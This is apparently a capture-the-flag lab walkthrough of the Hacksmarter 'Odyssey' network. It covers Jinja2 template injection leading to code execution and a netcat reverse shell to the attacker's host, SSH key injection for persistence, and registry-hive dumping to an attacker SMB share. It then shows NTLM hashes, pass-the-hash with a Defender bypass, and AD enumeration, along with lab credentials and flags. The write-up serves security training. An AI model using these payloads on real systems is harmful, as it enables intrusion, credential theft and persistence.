> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/active-directory-pentesting/ad-machines-walkthroughs/hacksmarter-odyssey.md).

# Hacksmarter - Odyssey

### Objective / Scope <a href="#user-content-objective--scope" id="user-content-objective--scope"></a>

You are a member of the **Hack Smarter Red Team** and have been assigned to perform a black-box penetration test against a client's critical infrastructure. There are three machines in scope: one Linux web server and two Windows enterprise hosts.

The client’s environment is currently in a degraded state due to ongoing migration efforts; the **Domain Controllers are experiencing synchronization failures**. Consequently, standard automated LDAP enumeration tools (such as BloodHound) are expected to fail or return unreliable data. The client wants to assess if an attacker can thrive in this "broken" environment where standard administrative tools are malfunctioning.

**Note From The Author**

Odyssey was built off a recent engagement that I had where the DC's were not syncing correctly. This caused a lot of problems during the engagement. We also had to go through a proxy, which made tools like LDAP very hard to use. Your normal tools may fail... can you think outside the box?

## Enumeration <a href="#user-content-enumeration" id="user-content-enumeration"></a>

#### Scope & Targets <a href="#user-content-scope--targets" id="user-content-scope--targets"></a>

* **Engagement Type:** Black-box penetration test against a client's critical infrastructure.
* **Target Scope:**
  * `Web-01`: Linux Web Server (Public-facing initial access target).
  * `DC-01`: Windows Enterprise Host.
  * `WKST-01`: Windows Enterprise Host.

#### Operational Constraints & Environment Context <a href="#user-content-operational-constraints--environment-context" id="user-content-operational-constraints--environment-context"></a>

* **Degraded State:** The target environment's Domain Controllers are experiencing synchronization failures.
* **Tooling Limitations:** Automated LDAP enumeration tools (e.g., BloodHound) are expected to fail or generate unreliable/stale data.
* **Network Constraints:** Proxied routing environments may impair standard LDAP enumeration tools. Tactical, custom, or manual enumeration methodologies are required.

### Technical Concepts & Methodologies <a href="#user-content-technical-concepts--methodologies" id="user-content-technical-concepts--methodologies"></a>

#### Reconnaissance Strategy (Lab vs. Production) <a href="#user-content-reconnaissance-strategy-lab-vs-production" id="user-content-reconnaissance-strategy-lab-vs-production"></a>

* **Lab/CTF Environments:** Tools like `RustScan` offer high-speed asynchronous port discovery by default, followed by targeted Nmap script execution.
* **Production/Red Team Engagements:** High-speed scanning is loud and prone to dropping packets or triggering network intrusion detection systems (IDS). Real-world scanning generally relies on throttled Nmap/Nessus scans or internal host-based discovery (e.g., querying local netstat tables via host beacons).

#### Server-Side Template Injection (SSTI) <a href="#user-content-server-side-template-injection-ssti" id="user-content-server-side-template-injection-ssti"></a>

* **Concept:** SSTI occurs when untrusted user input is directly concatenated into a server-side template engine string instead of being passed as data, causing the application to parse and execute template expressions.
* **Detection Methodology:** Pass dynamic mathematical/evaluative expressions (e.g., `{{7*7}}`) into user-controlled input fields or URL parameters to verify execution by observing the rendered response.
* **Engine Fingerprinting:** Template engines parse specific expression syntax differently:
  * `${7*7}` or `{{7*7}}` -> Evaluates to `49`.
  * `{{7*'7'}}` -> Output `49` indicates **Twig** (PHP); Output `7777777` (string repetition) indicates **Jinja2** (Python).

### Enumeration: Web-01 <a href="#user-content-enumeration-web-01" id="user-content-enumeration-web-01"></a>

#### 1. Port Scanning & Service Discovery <a href="#user-content-1-port-scanning--service-discovery" id="user-content-1-port-scanning--service-discovery"></a>

**Command Execution**

```
sudo nmap -A 10.1.101.147 -oN web.nmap -T4
```

<figure><img src="/files/Uw1rPfp2jZrChyXlqDF7" alt=""><figcaption></figcaption></figure>

### Exploitation: Web-01 (Initial Vector) <a href="#user-content-exploitation-web-01-initial-vector" id="user-content-exploitation-web-01-initial-vector"></a>

<figure><img src="/files/cfZoXdbvofpwbU4uqEfq" alt=""><figcaption></figcaption></figure>

#### 1. SSTI Detection <a href="#user-content-1-ssti-detection" id="user-content-1-ssti-detection"></a>

Injecting mathematical syntax to test template evaluation.

* **Input Payload:** `{{7*7}}`
* **Rendered Output:** `49`
* **Observation:** Confirms server-side expression evaluation.

```
<!-- Parameter payload test -->
http://<TARGET_IP>:5000/?template={{7*7}}
```

<figure><img src="/files/dnTHSZtGeQOLiCIX2WVp" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/J1jCaDNFZbwWT7BFgSYU" alt=""><figcaption></figcaption></figure>

#### 2. Template Engine Identification <a href="#user-content-2-template-engine-identification" id="user-content-2-template-engine-identification"></a>

Differentiating Jinja2 (Python) from Twig (PHP) using string multiplication.

* **Input Payload:** `{{7*'7'}}`
* **Rendered Output:** `7777777`
* **Conclusion:** The templating engine is **Jinja2** (Python).

<figure><img src="/files/LxzzOp50mRypgY2PeUqn" alt=""><figcaption></figcaption></figure>

```
<!-- Jinja2 identification payload -->
http://<TARGET_IP>:5000/?template={{7*'7'}}
```

#### 3. Environmental Variable Dumping <a href="#user-content-3-environmental-variable-dumping" id="user-content-3-environmental-variable-dumping"></a>

Checking Jinja2 application context and environment variables for sensitive disclosures (e.g., secret keys, hardcoded credentials, connection strings).

* **Payload:** `{{config}}` or `{{self.__init__.__globals__.__builtins__}}`

```
<!-- Dumping Jinja2 configuration parameters -->
http://<TARGET_IP>:5000/?template={{config}}
```

## Initial Access to WEB-01 <a href="#user-content-initial-access-to-web-01" id="user-content-initial-access-to-web-01"></a>

### 1. Key Concepts & Methodology <a href="#user-content-1-key-concepts--methodology" id="user-content-1-key-concepts--methodology"></a>

* **Server-Side Template Injection (SSTI) in Jinja2:**
  * **The Vulnerability:** SSTI occurs when untrusted user input is directly evaluated by a templating engine (like Jinja2 for Python/Flask) instead of being treated as plain text.
  * **Exploitation Path:** By injecting Jinja2 expressions, an attacker can access Python's global context (e.g., `__builtins__`, `__globals__`). This allows the attacker to traverse the class hierarchy to import modules like `os` or `subprocess`, bypassing the template sandbox to execute operating system commands.
* **SSH Key-Based Authentication:**
  * **The Mechanism:** Instead of passwords, SSH can use asymmetric cryptography (a public/private key pair) for authentication. The server stores the public key in an `authorized_keys` file, while the user holds the private key.
  * **Persistence / Access Strategy:** If an attacker gains command execution on a machine, they can write their own generated public key into the target user's `~/.ssh/authorized_keys` file. This grants direct, persistent SSH access to the machine as that user without needing a password.

### 2. Enumeration & Exploitation Steps <a href="#user-content-2-enumeration--exploitation-steps" id="user-content-2-enumeration--exploitation-steps"></a>

**Dumping Configuration Variables**

During the initial SSTI enumeration, dumping the configuration can reveal environment variables, secret keys, or database credentials.

```
# Jinja2 payload to dump config variables
{{ config.items() }}
```

**Achieving Remote Code Execution (RCE)**

Rather than manually enumerating the class index to find the `subprocess.Popen` class (which can be tedious), a more direct payload can be used by leveraging `get_flashed_messages` or similar global built-ins to import the `os` module.

```
# Jinja2 SSTI Payload to read the /etc/passwd file
{{ get_flashed_messages.__globals__.__builtins__.open('/etc/passwd').read() }}

# Example Jinja2 RCE payload structure to execute arbitrary commands
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
```

<figure><img src="/files/mcHY3Wqq6SRFYN9g00m3" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ocDPJqT4IL1vC1vdGQ0e" alt=""><figcaption></figcaption></figure>

The next step was to obtain a reverse shell. The following payload was used:

```
 {{ self.__init__.__globals__.__builtins__.__import__('os').popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.200.79.116 4444 >/tmp/f').read() }}
```

<figure><img src="/files/rBFgb683UErKDTBOkCi2" alt=""><figcaption></figcaption></figure>

To stabilize the shell, we performed the following steps:

```bash
python3 -c "import pty; pty.spawn('/bin/bash')"
Ctrl+Z
stty raw -echo;fg
export TERM=xterm
stty rows 200 columns 200
```

<figure><img src="/files/Sd6WpAGDiHxp76Lv5ZUZ" alt=""><figcaption></figcaption></figure>

**File System Enumeration**

Once RCE is achieved, the next step is enumerating the compromised user (`ghill_sa`).

```
# Check the contents of the target user's home directory
ls -la /home/ghill_sa

# Check the target user's bash history
cat /home/ghill_sa/.bash_history

# List the contents of the hidden SSH directory
ls -la /home/ghill_sa/.ssh
```

<figure><img src="/files/xqXfNhWYF9L3VjdbGrcF" alt=""><figcaption></figcaption></figure>

### 3. Securing SSH Access <a href="#user-content-3-securing-ssh-access" id="user-content-3-securing-ssh-access"></a>

After discovering the user `ghill_sa` had an SSH key pair (`id_ed25519`), there were two potential paths to secure a shell:

1. **Steal the Private Key:** Cat the private key and use it locally.
2. **Inject a Public Key (Chosen Path):** Due to formatting issues with copying the private key, the simpler "KISS" (Keep It Simple, Stupid) method was used---injecting the attacker's public key directly into the target's `authorized_keys` file.

```
{{ request.application.__globals__.__builtins__.__import__('os').popen('echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK9b36MlSB0Vq5gvU6Q6KCjMYaCyOGRYnrHElnd1m3ui tyler@kali" >> /home/ghill_sa/.ssh/authorized_keys').read() }}
```

<figure><img src="/files/KHTn08e1DNgQNYKQCm8t" alt=""><figcaption></figcaption></figure>

**Local SSH Key Permissions & Login**

If you were to use a stolen private key, the file permissions must be strictly set, or the SSH client will reject it. Once the key is injected or formatted properly, connect to the target.

```
# Correcting permissions for a private key file (if stolen)
chmod 600 target_private_key

# Connecting to the target machine via SSH using key-based authentication
ssh -i <private_key_file> ghill_sa@<TARGET_IP>
```

<figure><img src="/files/nTSiert6IgmjDMOkUnRQ" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
HSM{SFNNeyAxMjM0NTY3ODkwYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnh5IH0}
{% endhint %}

<figure><img src="/files/pEIURm2dwV2edETNE5pu" alt=""><figcaption></figcaption></figure>

#### Privilege Escalation to Root via SSH Key Spraying <a href="#user-content-3-privilege-escalation-to-root-via-ssh-key-spraying" id="user-content-3-privilege-escalation-to-root-via-ssh-key-spraying"></a>

When a discovered SSH private key fails to authenticate for the expected user, test the key against other local accounts (such as `ubuntu` or `root`) using automation tools like NetExec.

**Spraying SSH Private Keys with NetExec**

```
# Syntax for testing an SSH private key against a target host and user using NetExec
netexec ssh <TARGET_IP> -u root -k /path/to/private_key_file -p ""
```

## WEB-01 Post Exploitation <a href="#user-content-web-01-post-exploitation" id="user-content-web-01-post-exploitation"></a>

#### Initial Situation <a href="#user-content-initial-situation" id="user-content-initial-situation"></a>

* Gained root access to the web server (`Web-01`) at the end of Part 3.
* Objective: Find credentials for the `ghill_sa` user or any domain user to pivot into the Windows environment.

### Credential Hunting (Web-01) <a href="#user-content-credential-hunting-web-01" id="user-content-credential-hunting-web-01"></a>

* **Strategy:** Manual enumeration of the root user's `bash_history` and `crontab`.
* **Note on Automated Tools (e.g., LinPEAS):** While useful for CTFs, automated bash scripts are noisy and can trigger EDR/alerts in real-world scenarios. In this case, manual enumeration was prioritized due to the time-consuming nature of LinPEAS running as root.

Copy to existing directory and transfer it to victim machine.

<figure><img src="/files/iG7rwYImQP8RrDBW9j8r" alt=""><figcaption></figcaption></figure>

* **Finding 1 (bash\_history):** Discovered a command in root's `bash_history` that interacted with `DC01`.
* **Finding 2 (crontab):** Identified a scheduled task pointing to an `update.config` file used for connecting to a share on `DC01`.
* **Credential Discovery:** Viewing the `update.config` file revealed a potential password for `ghill_sa`.

```bash
# Check bash_history for interesting commands
cat /root/.bash_history

# Check scheduled tasks
crontab -e

# View the update.config file (discovered in crontab)
cat /etc/update.conf
```

<figure><img src="/files/EoITWf3hGouWYSAQ49dL" alt=""><figcaption></figcaption></figure>

It connects to a share on the domain controller. We can check the file and see the credentials.

```
[auth]
username=ghill_sa
password=P@ssw0rd!
```

<figure><img src="/files/sPW21yQVzinRV8AB2FJt" alt=""><figcaption></figcaption></figure>

### Lateral Movement Strategy (Web-01 -> Wkst-01) <a href="#user-content-lateral-movement-strategy-web-01---wkst-01" id="user-content-lateral-movement-strategy-web-01---wkst-01"></a>

* **Goal:** Use the discovered credentials to access the Active Directory domain or the workstation (`Wkst-01`).
* **Preparation:** Updated `/etc/hosts` to properly resolve the targets (`DC01`, `Wkst-01`, `Web-01`) within the `hsm.local` domain.
* **Execution:** Used `netexec` to test the credentials against the domain controller, which failed.
* **Pivot:** Tested the credentials against `Wkst-01` using local authentication (`--local-auth`), which successfully authenticated.

```bash
# Update /etc/hosts with target IPs and hostnames
sudo nano /etc/hosts
# Format: <IP> <Hostname>.hsm.local <Hostname>

# Test credentials against DC01 (Failed)
netexec smb dc01.hsm.local -u ghill_sa -p <discovered_password>

# Test credentials against Wkst-01 with local authentication (Success)
netexec smb wkst01.hsm.local -u ghill_sa -p <discovered_password> --local-auth
```

<figure><img src="/files/iyS21pLswfmyN446xieL" alt=""><figcaption><p>Activie Directory connection failed</p></figcaption></figure>

Lets see local Auth on the target workstation

```
netexec smb 10.1.122.209 -u ghill_sa -p 'P@ssw0rd!' --local-auth --shares
```

<figure><img src="/files/1PirxW3EWO8RGz7rsZ1R" alt=""><figcaption></figcaption></figure>

### Foothold on Workstation (Wkst-01) <a href="#user-content-foothold-on-workstation-wkst-01" id="user-content-foothold-on-workstation-wkst-01"></a>

#### Scanning

```
┌──(kali㉿kali)-[~/Desktop/odyssy]
└─$ cat system.nmap 
# Nmap 7.95 scan initiated Sat Aug  8 11:12:09 2026 as: /usr/lib/nmap/nmap -A -oN system.nmap -T4 10.1.122.209
Nmap scan report for 10.1.122.209
Host is up (0.22s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=EC2AMAZ-NS87CNK.hsm.local
| Not valid before: 2026-08-07T13:22:43
|_Not valid after:  2027-02-06T13:22:43
| rdp-ntlm-info: 
|   Target_Name: HSM
|   NetBIOS_Domain_Name: HSM
|   NetBIOS_Computer_Name: EC2AMAZ-NS87CNK
|   DNS_Domain_Name: hsm.local
|   DNS_Computer_Name: EC2AMAZ-NS87CNK.hsm.local
|   Product_Version: 10.0.26100
|_  System_Time: 2026-08-08T15:12:51+00:00
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3389-TCP:V=7.95%I=7%D=8/8%Time=6A774762%P=x86_64-pc-linux-gnu%r(Ter
SF:minalServerCookie,13,"\x03\0\0\x13\x0e\xd0\0\0\x124\0\x02\?\x08\0\x02\0
SF:\0\0");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 3 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-08-08T15:12:54
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

TRACEROUTE (using port 139/tcp)
HOP RTT       ADDRESS
1   215.58 ms 10.200.0.1
2   ...
3   216.94 ms 10.1.122.209

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Aug  8 11:13:33 2026 -- 1 IP address (1 host up) scanned in 83.51 seconds

```

* **Access Method:** Established an RDP session to `Wkst-01` using the `ghill_sa` local account credentials.
* **Objective:** Enumerate the workstation for further privileges, domain insights, or sensitive files.
* **Enumeration Tactics:** Focused on stealth by manually navigating through File Explorer instead of relying on noisy PowerShell commands.

<figure><img src="/files/ygPhbTWrlLLq95MSJth0" alt=""><figcaption></figcaption></figure>

### File System Enumeration (Wkst-01) <a href="#user-content-file-system-enumeration-wkst-01" id="user-content-file-system-enumeration-wkst-01"></a>

* **Users Directory:** Identified only `ghill_sa` and `Administrator`.
* **Share Directory (C:\Share\Department Docs):** Discovered numerous documents, some containing potential usernames and passwords for various systems (e.g., Finance, IT, Payroll).

```
Username: intranet_admin
Password: Intra#Access
```

<figure><img src="/files/ECVpbPSmQhNYbQyQJwsK" alt=""><figcaption></figcaption></figure>

### User Enumeration Strategy <a href="#user-content-user-enumeration-strategy" id="user-content-user-enumeration-strategy"></a>

* **Constraint:** The domain controllers are experiencing synchronization failures, meaning standard LDAP enumeration (like BloodHound) might fail or provide unreliable data.
* **Action:** Extracted a list of local users from `Wkst-01` using the `net user` command.
* **Hypothesis:** Some local users on `Wkst-01` might also exist as domain users. The credentials found in the shared documents will be tested against these users.

```dos
# List all local users on the workstation
net user
```

```
User accounts for \\EC2AMAZ-NS87CNK

-------------------------------------------------------------------------------
Administrator            audit_user               bbarkinson
db_readonly              DefaultAccount           devops_user
eng_user                 facilities_user          fin_user1
ghill_sa                 Guest                    hr_admin
intranet_admin           inv_user                 legal_user
mktg_user                ops_mgr                  payroll_clerk
procure_user             proj_mgr                 research_user
sales_rep                support_staff            training_user
vpn_user                 WDAGUtilityAccount
```

<figure><img src="/files/JLpTudPWrPOlFum88xlY" alt=""><figcaption></figcaption></figure>

## Exploiting the Workstation <a href="#user-content-exploiting-the-workstation" id="user-content-exploiting-the-workstation"></a>

### Initial Situation & Enumeration <a href="#user-content-initial-situation--enumeration" id="user-content-initial-situation--enumeration"></a>

* **Current State:** Foothold established on the Windows workstation (`Wkst-01`) via RDP as the local `ghill_sa` user.
* **Objective:** Elevate privileges and move laterally toward domain dominance.
* **Key Discovery:** Running `net user ghill_sa` (or checking group memberships) revealed that the user belongs to the **Backup Operators** group.

```cmd
# Enumerate local user properties and group memberships
net user ghill_sa

# Enumerate user privileges (look for SeBackupPrivilege)
whoami /all
```

<figure><img src="/files/lHv2Jcv8KI3ieeQCKX11" alt=""><figcaption></figcaption></figure>

### Exploit Strategy: Backup Operators <a href="#user-content-exploit-strategy-backup-operators" id="user-content-exploit-strategy-backup-operators"></a>

* **Concept:** The Backup Operators group inherently possesses `SeBackupPrivilege`. This privilege allows users to bypass file permissions to back up critical system files, specifically the SAM, SYSTEM, and SECURITY registry hives.
* **Objective:** Extract the registry hives locally or remotely to dump locally cached credential hashes (NTLM), including the local Administrator hash.

```
net user ghill_sa
```

<figure><img src="/files/LsD2vXK0WcTt5upFRVIg" alt=""><figcaption></figcaption></figure>

### Execution & Troubleshooting (The Journey) <a href="#user-content-execution--troubleshooting-the-journey" id="user-content-execution--troubleshooting-the-journey"></a>

**Attempt 1: Remote Extraction via NetExec (Failed)**

* **Action:** Attempted to use the NetExec `-M backup_operator` module to remotely dump hashes.
* **Result:** Failed (RPC/Network Name errors), likely due to the degraded environment constraints designed by the lab creator.

```
netexec smb 10.1.122.209 -u 'intranet_admin' -p 'Intra#Access' --local-auth -M backup_operator 
```

<figure><img src="/files/hprmyPPqm4LrayyUnres" alt=""><figcaption></figcaption></figure>

**Attempt 2: Remote Extraction via Impacket (Failed)**

* **Action:** Attempted remote dumping using `impacket-secretsdump`.

```
impacket-secretsdump 'ghill_sa:P@ssw0rd!@10.1.122.209'
```

<figure><img src="/files/nwm6oB1BY3CLrBhExoxh" alt=""><figcaption></figcaption></figure>

* **Result:** Failed with `RPC access denied`, indicating strict remote execution constraints or missing interactive privileges.

**Attempt 3: Local Extraction via Built-in Tools (Failed)**

* **Action:** Attempted to save the hives locally via command prompt using `reg save`.
* **Result:** Failed (`Access is denied`). Despite being in the group, the `SeBackupPrivilege` was present but *disabled* in the current token context (visible via `whoami /all`).

<figure><img src="/files/hS8rUDCclsEMXxn4FNMs" alt=""><figcaption></figcaption></figure>

We can try opening elevated powershell

When attempting to spawn an elevated command prompt, `UAC` prompted for the password of `ghill_sa`, which we already had:

<figure><img src="/files/pyHSztRHhkChHiT7WMFc" alt=""><figcaption></figcaption></figure>

Now we can dump the hashes

```
reg save HKLM\SAM "C:\users\ghill_sa\desktop\sam.save"
reg save HKLM\SYSTEM "C:\users\ghill_sa\desktop\system.save"
```

<figure><img src="/files/J6Nyd2BZkgEGh10gHTqa" alt=""><figcaption></figcaption></figure>

Now copy it to kali. we should have some shared folder.

<figure><img src="/files/o52GzbsTp1QfhL603W76" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/EfnrGfIvI5nCJHoZpcDC" alt=""><figcaption></figcaption></figure>

**Attempt 4: The Solution (Impacket's `reg.py`)**

* **Strategy:** Using Impacket's `reg.py`, an attacker can remotely interact with the registry over SMB. By providing an attacker-controlled SMB share (using `impacket-smbserver`), the target can be coerced into saving the hives directly to the remote share.

```bash
# Step 1: Set up a local SMB server on the attacker machine to receive the hives
impacket-smbserver hacksmarter $(pwd) -smb2support

# Step 2: Use reg.py to remotely save the hives from the target directly to the attacker's share
impacket-reg ghill_sa:'P@ssw0rd!'@10.1.122.209 save -keyName 'HKLM\SYSTEM' -o '\\10.200.79.116\hacksmarter'

```

<figure><img src="/files/gouycRFyOOszS0oNueOP" alt=""><figcaption></figcaption></figure>

### Dumping the Hashes <a href="#user-content-dumping-the-hashes" id="user-content-dumping-the-hashes"></a>

Once the `sam.save` and `system.save` hives were successfully exfiltrated to the attacker machine, Impacket's `secretsdump.py` was used to parse them locally.

```bash
# Dump NTLM hashes from the extracted registry hives (Local parsing)
impacket-secretsdump -sam sam.save -system system.save LOCAL
```

* **Result:** Successfully recovered the NTLM hash for the local **Administrator** account (and others).

```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d5cad8a9782b2879bf316f56936f1e36:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:7490f2a63d713a813eda5bf8fd1a8227:::
ghill_sa:1000:aad3b435b51404eeaad3b435b51404ee:217e50203a5aba59cefa863c724bf61b:::
fin_user1:1001:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754:::
hr_admin:1002:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754:::
proj_mgr:1003:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754:::
db_readonly:1004:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754:::
audit_user:1005:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754:::
payroll_clerk:1006:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754:::
vpn_user:1007:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754:::
intranet_admin:1008:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754:::
inv_user:1009:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754:::
training_user:1010:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754:::
devops_user:1011:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754:::
support_staff:1012:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754:::
mktg_user:1013:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754:::
sales_rep:1014:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754:::
legal_user:1015:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754:::
ops_mgr:1016:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754:::
eng_user:1017:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754:::
procure_user:1018:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754:::
facilities_user:1019:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754:::
research_user:1020:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754:::
bbarkinson:1021:aad3b435b51404eeaad3b435b51404ee:53c3709ae3d9f4428a230db81361ffbc:::

```

### Privilege Escalation (Pass-the-Hash & Evasion) <a href="#user-content-privilege-escalation-pass-the-hash--evasion" id="user-content-privilege-escalation-pass-the-hash--evasion"></a>

* **Goal:** Gain interactive administrative access to `Wkst-01`.
* **Attempt (xfreerdp):** Attempted Pass-the-Hash (PtH) over RDP using `xfreerdp /pth`. Failed due to Account Restrictions/Restricted Admin Mode.
* **Attempt (NetExec WMI):** Attempted command execution via NetExec. Failed—blocked by Windows Defender.

**We can use Netexec to run the commands**

```bash
nxc smb 10.1.122.209 -u 'Administrator' -H 'd5cad8a9782b2879bf316f56936f1e36' --local-auth -x whoami --smb-timeout 30
```

<figure><img src="/files/OfimvK76tNf94Wq5oq53" alt=""><figcaption></figcaption></figure>

But adding local user to group failed

```
nxc smb 10.1.122.209 -u 'Administrator' -H 'd5cad8a9782b2879bf316f56936f1e36' --local-auth -x 'net localgroup Administrators ghill_sa /add'  --smb-timeout 30
```

**The Bypass (Impacket's `net.py`)**

To bypass Defender and establish administrative persistence, Impacket's `net.py` was used to perform a Pass-the-Hash attack over DCERPC. This tool allows for the remote manipulation of local groups without triggering standard EDR signatures associated with WMI execution.

```bash
# Pass-the-Hash to add the currently controlled user (gil_sa) to the local Administrators group
impacket-net 'Administrator'@10.1.122.209 -hashes ':d5cad8a9782b2879bf316f56936f1e36' localgroup -name Administrators -join ghill_sa
```

<figure><img src="/files/A4IXwxZ67I1yGKpRRI7W" alt=""><figcaption></figcaption></figure>

### Final Result <a href="#user-content-final-result" id="user-content-final-result"></a>

* The `ghill_sa` account was successfully elevated to a local Administrator on `Wkst-01`.
* By spawning an administrative command prompt via the existing RDP session, the `C:\Users\Administrator\Desktop` directory became accessible.

<figure><img src="/files/JRhhQYaEEQmsbqteHmwE" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
HSM{FH27354DNAFPEIL53729VBNID8235JSIJF929JPSA80203JSF8I}
{% endhint %}

## AD Enumeration - Part 1 <a href="#user-content-a-d-enumeration---part-1" id="user-content-a-d-enumeration---part-1"></a>

### Environment Context & Objective <a href="#user-content-environment-context--objective" id="user-content-environment-context--objective"></a>

* **Current Status:**
  * `Web-01` (Linux Server): Fully compromised (Root access).
  * `Wkst-01` (Windows Workstation): Fully compromised (`ghill_sa` added to local `Administrators` group).
* **Target Objective:** Pivot into the Active Directory Domain Controller (`DC01` / `dc01.hsm.local`).
* **Environment Constraints:**
  * Domain Controllers are experiencing synchronization failures.
  * Standard LDAP tools and default BloodHound collection via NetExec fail due to LDAP bind restrictions / integrity checking requirements (`LDAP session error: error in bind request`).

### Key Concepts & Methodology <a href="#user-content-key-concepts--methodology" id="user-content-key-concepts--methodology"></a>

#### 1. Naming Convention Analysis <a href="#user-content-1-naming-convention-analysis" id="user-content-1-naming-convention-analysis"></a>

* Local workstation dumps revealed several local accounts (`Finn`, `user1`, `HR_admin`), alongside a uniquely structured account: `bbarkinson`.
* **Concept:** Active Directory environments frequently adopt a standardized username convention (e.g., `[FirstInitial][LastName]`). This naming pattern strongly indicates `bbarkinson` is a domain user rather than a local workstation account.

```
bbarkinson:1021:aad3b435b51404eeaad3b435b51404ee:53c3709ae3d9f4428a230db81361ffbc:::
```

<figure><img src="/files/TCV2Uwf0CyENM1B77mzs" alt=""><figcaption></figcaption></figure>

#### 2. Pass-the-Hash (PtH) against Active Directory <a href="#user-content-2-pass-the-hash-pth-against-active-directory" id="user-content-2-pass-the-hash-pth-against-active-directory"></a>

* When cleartext passwords are unavailable, NTLM hashes extracted during host compromise can be passed directly to authenticate against domain services (SMB, LDAP) across the network.

#### 3. Degraded LDAP Bypass with BloodyAD <a href="#user-content-3-degraded-ldap-bypass-with-bloodyad" id="user-content-3-degraded-ldap-bypass-with-bloodyad"></a>

* Standard automated LDAP collectors (e.g., `bloodhound-python`, `netexec ldap --bloodhound`) often fail when LDAP signing/channel binding is enforced or when directory synchronization is degraded.
* **BloodyAD** serves as an effective alternative AD enumeration framework capable of communicating over LDAP/S using Pass-the-Hash syntax (by prefixing the hash with a colon `:` in the password parameter).

### Technical Execution & Commands <a href="#user-content-technical-execution--commands" id="user-content-technical-execution--commands"></a>

#### 1. Target Verification & Service Discovery <a href="#user-content-1-target-verification--service-discovery" id="user-content-1-target-verification--service-discovery"></a>

Verifying the Domain Controller's full qualified domain name (FQDN) via RDP certificate inspection:

```bash
# Verify RDP service details and extract SSL certificate host information
nmap -p 3389 -A <DC_IP> -Pn -v
```

Ensure the `/etc/hosts` file contains the target mapping:

```plaintext
# Add to /etc/hosts
<DC_IP> dc01.hsm.local hsm.local
```

#### 2. Validating Domain Credentials via NetExec <a href="#user-content-2-validating-domain-credentials-via-netexec" id="user-content-2-validating-domain-credentials-via-netexec"></a>

Authenticating the discovered `bbarkinson` domain user hash against the Domain Controller over SMB:

```bash
# Pass-the-Hash authentication check against the DC
netexec smb dc01.hsm.local -u bbarkinson -H <NTLM_HASH>
```

<figure><img src="/files/AB56pNYZcmxHh3i6xApB" alt=""><figcaption></figcaption></figure>

#### 3. AD Enumeration Attempted Vectors (Failed) <a href="#user-content-3-a-d-enumeration-attempted-vectors-failed" id="user-content-3-a-d-enumeration-attempted-vectors-failed"></a>

**NetExec LDAP BloodHound Ingestion (Failed)**

Fails due to server-side LDAP bind requirements:

```bash
# NetExec LDAP collection (Failed: LDAP session error in bind request)
netexec ldap dc01.hsm.local -u bbarkinson -H <NTLM_HASH> --bloodhound -c All
```

**RustHound (Incompatible)**

* **Finding:** `RustHound` requires interactive password authentication or Kerberos tickets (`.ccache`) and lacks native command-line argument support for Pass-the-Hash (`-H` / NTLM string) without prior Kerberos ticket generation.

#### 4. Successful AD Enumeration via BloodyAD <a href="#user-content-4-successful-a-d-enumeration-via-bloodyad" id="user-content-4-successful-a-d-enumeration-via-bloodyad"></a>

{% embed url="<https://github.com/CravateRouge/bloodyAD>" %}

